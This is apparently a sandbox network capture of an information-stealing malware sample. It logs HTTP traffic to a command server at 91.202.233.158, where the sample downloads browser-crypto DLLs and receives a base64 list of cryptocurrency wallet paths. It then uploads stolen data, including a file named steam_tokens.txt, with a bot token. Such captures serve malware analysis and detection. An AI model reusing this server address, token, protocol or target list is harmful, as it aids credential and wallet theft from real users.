4a 4a 4b 45 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JKJEHJKJEBGHJJKEBGIEContent-Disposition: form-data; name="token"d78526105dcde815c4bcc72dd49cb4f25b58773b9ca4d191fb55a85ddb5fc8a7b8eae5ef------JKJEHJKJEBGHJJKEBGIEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JKJEHJKJEBGHJJKEBGIEContent-Disposition: form-data; name="file"------JKJEHJKJEBGHJJKEBGIE--
Sep 27, 2024 16:18:48.228053093 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:18:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 27, 2024 16:18:49.214212894 CEST	93	OUT	GET /3836fd5700214436/freebl3.dll HTTP/1.1 Host: 91.202.233.158 Cache-Control: no-cache
Sep 27, 2024 16:18:49.438334942 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:18:49 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Sep 27, 2024 16:18:50.455275059 CEST	93	OUT	GET /3836fd5700214436/mozglue.dll HTTP/1.1 Host: 91.202.233.158 Cache-Control: no-cache
Sep 27, 2024 16:18:50.681356907 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:18:50 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Sep 27, 2024 16:18:51.210499048 CEST	94	OUT	GET /3836fd5700214436/msvcp140.dll HTTP/1.1 Host: 91.202.233.158 Cache-Control: no-cache
Sep 27, 2024 16:18:51.436105967 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:18:51 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Sep 27, 2024 16:18:51.846438885 CEST	90	OUT	GET /3836fd5700214436/nss3.dll HTTP/1.1 Host: 91.202.233.158 Cache-Control: no-cache
Sep 27, 2024 16:18:52.072324991 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:18:51 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Sep 27, 2024 16:18:53.599364996 CEST	94	OUT	GET /3836fd5700214436/softokn3.dll HTTP/1.1 Host: 91.202.233.158 Cache-Control: no-cache
Sep 27, 2024 16:18:53.849489927 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:18:53 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Sep 27, 2024 16:18:54.192163944 CEST	98	OUT	GET /3836fd5700214436/vcruntime140.dll HTTP/1.1 Host: 91.202.233.158 Cache-Control: no-cache
Sep 27, 2024 16:18:54.495829105 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:18:54 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Sep 27, 2024 16:18:56.030903101 CEST	201	OUT	POST /e96ea2db21fa9a1b.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEBAFBGIDHCBFHIECFCB Host: 91.202.233.158 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Sep 27, 2024 16:18:56.458607912 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:18:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 27, 2024 16:18:56.868865013 CEST	468	OUT	POST /e96ea2db21fa9a1b.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHIEBKKFHIEGCAKECGHJ Host: 91.202.233.158 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 37 38 35 32 36 31 30 35 64 63 64 65 38 31 35 63 34 62 63 63 37 32 64 64 34 39 63 62 34 66 32 35 62 35 38 37 37 33 62 39 63 61 34 64 31 39 31 66 62 35 35 61 38 35 64 64 62 35 66 63 38 61 37 62 38 65 61 65 35 65 66 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 4a 2d 2d 0d 0a Data Ascii: ------FHIEBKKFHIEGCAKECGHJContent-Disposition: form-data; name="token"d78526105dcde815c4bcc72dd49cb4f25b58773b9ca4d191fb55a85ddb5fc8a7b8eae5ef------FHIEBKKFHIEGCAKECGHJContent-Disposition: form-data; name="message"wallets------FHIEBKKFHIEGCAKECGHJ--
Sep 27, 2024 16:18:57.095210075 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:18:56 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Sep 27, 2024 16:18:57.184118986 CEST	466	OUT	POST /e96ea2db21fa9a1b.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIIIIJDHJEGIECBGHIJE Host: 91.202.233.158 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 49 49 49 4a 44 48 4a 45 47 49 45 43 42 47 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 37 38 35 32 36 31 30 35 64 63 64 65 38 31 35 63 34 62 63 63 37 32 64 64 34 39 63 62 34 66 32 35 62 35 38 37 37 33 62 39 63 61 34 64 31 39 31 66 62 35 35 61 38 35 64 64 62 35 66 63 38 61 37 62 38 65 61 65 35 65 66 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 49 49 4a 44 48 4a 45 47 49 45 43 42 47 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 49 49 4a 44 48 4a 45 47 49 45 43 42 47 48 49 4a 45 2d 2d 0d 0a Data Ascii: ------GIIIIJDHJEGIECBGHIJEContent-Disposition: form-data; name="token"d78526105dcde815c4bcc72dd49cb4f25b58773b9ca4d191fb55a85ddb5fc8a7b8eae5ef------GIIIIJDHJEGIECBGHIJEContent-Disposition: form-data; name="message"files------GIIIIJDHJEGIECBGHIJE--
Sep 27, 2024 16:18:57.409887075 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:18:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 27, 2024 16:18:57.604212046 CEST	564	OUT	POST /e96ea2db21fa9a1b.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGHJEHJJDAAAKEBGCFCA Host: 91.202.233.158 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 37 38 35 32 36 31 30 35 64 63 64 65 38 31 35 63 34 62 63 63 37 32 64 64 34 39 63 62 34 66 32 35 62 35 38 37 37 33 62 39 63 61 34 64 31 39 31 66 62 35 35 61 38 35 64 64 62 35 66 63 38 61 37 62 38 65 61 65 35 65 66 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DGHJEHJJDAAAKEBGCFCAContent-Disposition: form-data; name="token"d78526105dcde815c4bcc72dd49cb4f25b58773b9ca4d191fb55a85ddb5fc8a7b8eae5ef------DGHJEHJJDAAAKEBGCFCAContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------DGHJEHJJDAAAKEBGCFCAContent-Disposition: form-data; name="file"------DGHJEHJJDAAAKEBGCFCA--
Sep 27, 2024 16:18:57.856796980 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:18:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 27, 2024 16:18:59.301649094 CEST	204	OUT	POST /e96ea2db21fa9a1b.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAEGIDHDHIDGIEBGIJEH Host: 91.202.233.158 Content-Length: 140619 Connection: Keep-Alive Cache-Control: no-cache
Sep 27, 2024 16:18:59.930821896 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:18:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 27, 2024 16:19:02.407289982 CEST	473	OUT	POST /e96ea2db21fa9a1b.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAEGIDHDHIDGIEBGIJEH Host: 91.202.233.158 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 45 47 49 44 48 44 48 49 44 47 49 45 42 47 49 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 37 38 35 32 36 31 30 35 64 63 64 65 38 31 35 63 34 62 63 63 37 32 64 64 34 39 63 62 34 66 32 35 62 35 38 37 37 33 62 39 63 61 34 64 31 39 31 66 62 35 35 61 38 35 64 64 62 35 66 63 38 61 37 62 38 65 61 65 35 65 66 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 47 49 44 48 44 48 49 44 47 49 45 42 47 49 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 47 49 44 48 44 48 49 44 47 49 45 42 47 49 4a 45 48 2d 2d 0d 0a Data Ascii: ------DAEGIDHDHIDGIEBGIJEHContent-Disposition: form-data; name="token"d78526105dcde815c4bcc72dd49cb4f25b58773b9ca4d191fb55a85ddb5fc8a7b8eae5ef------DAEGIDHDHIDGIEBGIJEHContent-Disposition: form-data; name="message"ybncbhylepme------DAEGIDHDHIDGIEBGIJEH--
Sep 27, 2024 16:19:02.656423092 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:19:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 27, 2024 16:19:02.694937944 CEST	473	OUT	POST /e96ea2db21fa9a1b.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEBAFBGIDHCBFHIECFCB Host: 91.202.233.158 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 37 38 35 32 36 31 30 35 64 63 64 65 38 31 35 63 34 62 63 63 37 32 64 64 34 39 63 62 34 66 32 35 62 35 38 37 37 33 62 39 63 61 34 64 31 39 31 66 62 35 35 61 38 35 64 64 62 35 66 63 38 61 37 62 38 65 61 65 35 65 66 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 2d 2d 0d 0a Data Ascii: ------AEBAFBGIDHCBFHIECFCBContent-Disposition: form-data; name="token"d78526105dcde815c4bcc72dd49cb4f25b58773b9ca4d191fb55a85ddb5fc8a7b8eae5ef------AEBAFBGIDHCBFHIECFCBContent-Disposition: form-data; name="message"wkkjqaiaxkhb------AEBAFBGIDHCBFHIECFCB--
